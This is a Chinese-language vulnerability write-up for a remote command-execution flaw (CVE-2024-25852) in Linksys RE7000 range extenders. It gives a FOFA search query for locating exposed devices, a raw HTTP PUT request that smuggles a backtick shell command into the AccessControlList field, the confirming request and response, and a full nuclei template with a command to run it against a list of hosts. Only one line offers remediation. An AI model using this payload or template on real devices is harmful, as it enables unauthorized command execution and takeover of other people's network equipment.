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漏洞名称

Linksys RE7000 远程命令执行漏洞

漏洞影响

Linksys RE7000 v2.0.9、2.0.11和v 2.0.15

漏洞描述

Linksys RE7000 v2.0.9、2.0.11和v 2.0.15在访问控制功能点的“AccessControlList”参数中存在命令执行漏洞。攻击者可以使用此漏洞获取设备管理员权限。

FOFA搜索语句

body="/login.shtml?ran="

漏洞复现

第一步，执行命令，在本地写入一个随机字符串到文件

PUT /goform/AccessControl HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 103
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1

{"AccessPolicy":"0","AccessControlList":"`echo sEyKvOlYSyQZ>/etc_ro/lighttpd/RE7000_www/FcijtS.txt`"}

第二步，访问上面写入的文件

GET /FcijtS.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

响应内容如下

HTTP/1.1 200 OK
Connection: close
Content-Length: 13
Accept-Ranges: bytes
Content-Type: text/plain
Date: Mon, 22 Apr 2024 02:29:36 GMT
Etag: "-575936322"
Last-Modified: Mon, 22 Apr 2024 02:29:34 GMT
Server: lighttpd/1.4.20

sEyKvOlYSyQZ

漏洞复现成功

nuclei poc

poc文件内容如下


id: CVE-2024-25852

info:
  name: Linksys RE7000 远程命令执行漏洞
  author: fgz
  severity: critical
  description: Linksys RE7000 v2.0.9、2.0.11和v 2.0。15在访问控制功能点的“AccessControlList”参数中存在命令执行漏洞。攻击者可以使用此漏洞获取设备管理员权限。
  metadata:
    max-request: 1
    fofa-query: body="/login.shtml?ran="
    verified: true
variables:
  file: "{{rand_base(6)}}"
  str: "{{rand_base(12)}}"
requests:
  - raw:
      - |+
        PUT /goform/AccessControl HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Accept-Encoding: gzip, deflate, br
        Connection: close
        Upgrade-Insecure-Requests: 1
        
        {"AccessPolicy":"0","AccessControlList":"`echo {{str}}>/etc_ro/lighttpd/RE7000_www/{{file}}.txt`"}

      - |+
        GET /{{file}}.txt HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
        Accept-Charset: utf-8
        Accept-Encoding: gzip, deflate
        Connection: close

    matchers:
      - type: dsl
        dsl:
          - "status_code_2 == 200 && contains(body_2, '{{str}}')"
        condition: and

运行POC

nuclei.exe -t mypoc/cve/CVE-2024-25852.yaml -l data\1.txt

修复建议

升级到最新版本。